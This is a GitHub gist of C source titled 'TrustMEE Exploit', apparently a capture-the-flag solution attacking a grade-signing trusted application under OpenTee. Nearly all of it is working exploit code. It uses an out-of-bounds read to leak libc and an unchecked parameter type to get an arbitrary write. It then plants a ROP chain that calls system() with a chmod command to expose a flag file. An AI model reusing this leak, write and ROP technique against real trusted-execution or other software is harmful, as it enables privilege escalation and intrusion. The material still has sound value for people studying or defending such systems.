Skip to content

Instantly share code, notes, and snippets.

@clubby789
Created November 6, 2023 11:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save clubby789/4277d3de73b0a732a7fb0dcca6fe431f to your computer and use it in GitHub Desktop.
Save clubby789/4277d3de73b0a732a7fb0dcca6fe431f to your computer and use it in GitHub Desktop.
TrustMEE Exploit
#include "tee_client_api.h"
#include "grade_ca.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/sendfile.h>
static const TEEC_UUID uuid = {
0x11223344, 0xA710, 0x469E, { 0xAC, 0xC8, 0x5E, 0xDF, 0x8C, 0x85, 0x90, 0xE1 }
};
#define DIE(...) {\
printf("" __VA_ARGS__); \
exit(1); \
}
#define CHECK(expr, ...) if (!(expr)) {\
printf("[%s:%d (%s)] ", __FILE__, __LINE__, #expr); \
DIE(__VA_ARGS__) \
}
struct Exploit {
TEEC_Context ctx;
TEEC_Session sess;
TEEC_Operation op;
TEEC_SharedMemory in_mem;
struct studentclass* class;
TEEC_SharedMemory out_mem;
struct signedStudentclass* signedClass;
intptr_t libc_base;
intptr_t stashed;
};
struct Exploit* init() {
struct Exploit* exp = calloc(sizeof(struct Exploit), 1);
TEEC_Result tee_rv;
CHECK(exp);
tee_rv = TEEC_InitializeContext(NULL, &exp->ctx);
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_InitializeContext(0x%x)\n", tee_rv);
tee_rv = TEEC_OpenSession(&exp->ctx, &exp->sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, &exp->op, NULL);
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_OpenSession(0x%x)\n", tee_rv);
exp->class = calloc(sizeof(struct studentclass), 1);
CHECK(exp->class);
exp->signedClass = calloc(sizeof(struct signedStudentclass), 1);
CHECK(exp->signedClass);
exp->in_mem.buffer = (void*)exp->class;
exp->in_mem.size = sizeof(struct studentclass);
exp->in_mem.flags = TEEC_MEM_INPUT;
tee_rv = TEEC_RegisterSharedMemory(&exp->ctx, &exp->in_mem);
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_RegisterSharedMemory(0x%x)\n", tee_rv);
exp->out_mem.buffer = (void*)exp->signedClass;
exp->out_mem.size = sizeof(struct signedStudentclass);
exp->out_mem.flags = TEEC_MEM_OUTPUT;
tee_rv = TEEC_RegisterSharedMemory(&exp->ctx, &exp->out_mem);
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_RegisterSharedMemory(0x%x)\n", tee_rv);
return exp;
}
void leak_libc(struct Exploit* exp) {
// Bug 1: We can sign a single student in a class with a given index
// There is no bounds checking, so we can sign out-of-bounds memory,
// copying `sizeof struct student` bytes into our out-pointer
TEEC_Result tee_rv;
exp->op.params[0].memref.parent = &exp->in_mem;
exp->op.params[0].memref.size = sizeof(struct student);
exp->op.params[1].memref.parent = &exp->out_mem;
exp->op.params[1].memref.size = sizeof(struct signedStudent);
exp->op.params[2].value.a = 271;
exp->op.paramTypes = TEEC_PARAM_TYPES(
TEEC_MEMREF_PARTIAL_INPUT,
TEEC_MEMREF_PARTIAL_OUTPUT,
TEEC_VALUE_INPUT,
TEEC_NONE
);
tee_rv = TEEC_InvokeCommand(&exp->sess, SIGN_CLASS_STUDENT, &exp->op, NULL);
// TEEC_ERROR_SECURITY will be reported if the 'grade' field isn't <= 5, but the
// bytes will already have been copied
CHECK(tee_rv == TEEC_SUCCESS || tee_rv == TEEC_ERROR_SECURITY, "Libc Leak(0x%x)\n", tee_rv);
intptr_t leak = *(intptr_t*)(void*)&exp->signedClass->sigsStudents[0].firstname;
exp->libc_base = leak - 0xa5740;
printf("[+] Leaked Libc Base: 0x%lx\n", exp->libc_base);
}
TEEC_Parameter transmute(intptr_t val) {
union {
TEEC_Parameter p;
intptr_t v;
} tmp = { .v = val };
return tmp.p;
}
void arb_write(struct Exploit* exp, intptr_t where, const void* what, size_t len) {
// Bug 2: The TA does not validate the argument types. This allows us to pass any
// pointer as a `TEEC_VALUE`, which will not be validated by the TEE.
TEEC_Result tee_rv;
CHECK(len <= sizeof(struct student));
exp->op.params[0].memref.parent = &exp->in_mem;
exp->op.params[0].memref.size = len;
memcpy((void*)&exp->class->students[0].firstname, what, len);
exp->op.params[1] = transmute(where);
exp->op.paramTypes = TEEC_PARAM_TYPES(
TEEC_MEMREF_PARTIAL_INPUT,
TEEC_VALUE_INPUT,
TEEC_NONE,
TEEC_NONE
);
tee_rv = TEEC_InvokeCommand(&exp->sess, SIGN_STUDENT, &exp->op, NULL);
}
const char cmd[] = "chmod 777 /opt/OpenTee/flag.txt";
int main() {
struct Exploit* exploit = init();
leak_libc(exploit);
// We'll stash a command string at a known location - right at the end of libc's
// writable stegment
intptr_t stashed = exploit->libc_base + 0x22e000 - 0x40;
arb_write(exploit, stashed, &cmd, sizeof(cmd));
// We can then write a ROP chain to the call stack of TA_InvokeCommandEntryPoint
intptr_t ropchain[] = {
exploit->libc_base + 0x2a3e5, // pop rdi;
stashed, // "chmod ...",
exploit->libc_base + 0x2a3e6, // ret (align stack),
exploit->libc_base + 0x50d70, // system
};
// As it's running in a thread, the stack is stored in TLS, which is at a consistent offset
// from Libc.
arb_write(exploit, exploit->libc_base - 0x122268, &ropchain, sizeof(ropchain));
int f = open("/opt/OpenTee/flag.txt", O_RDONLY);
CHECK(f != -1, "Flag is not readable\n");
sendfile(1, f, NULL, 100);
close(f);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment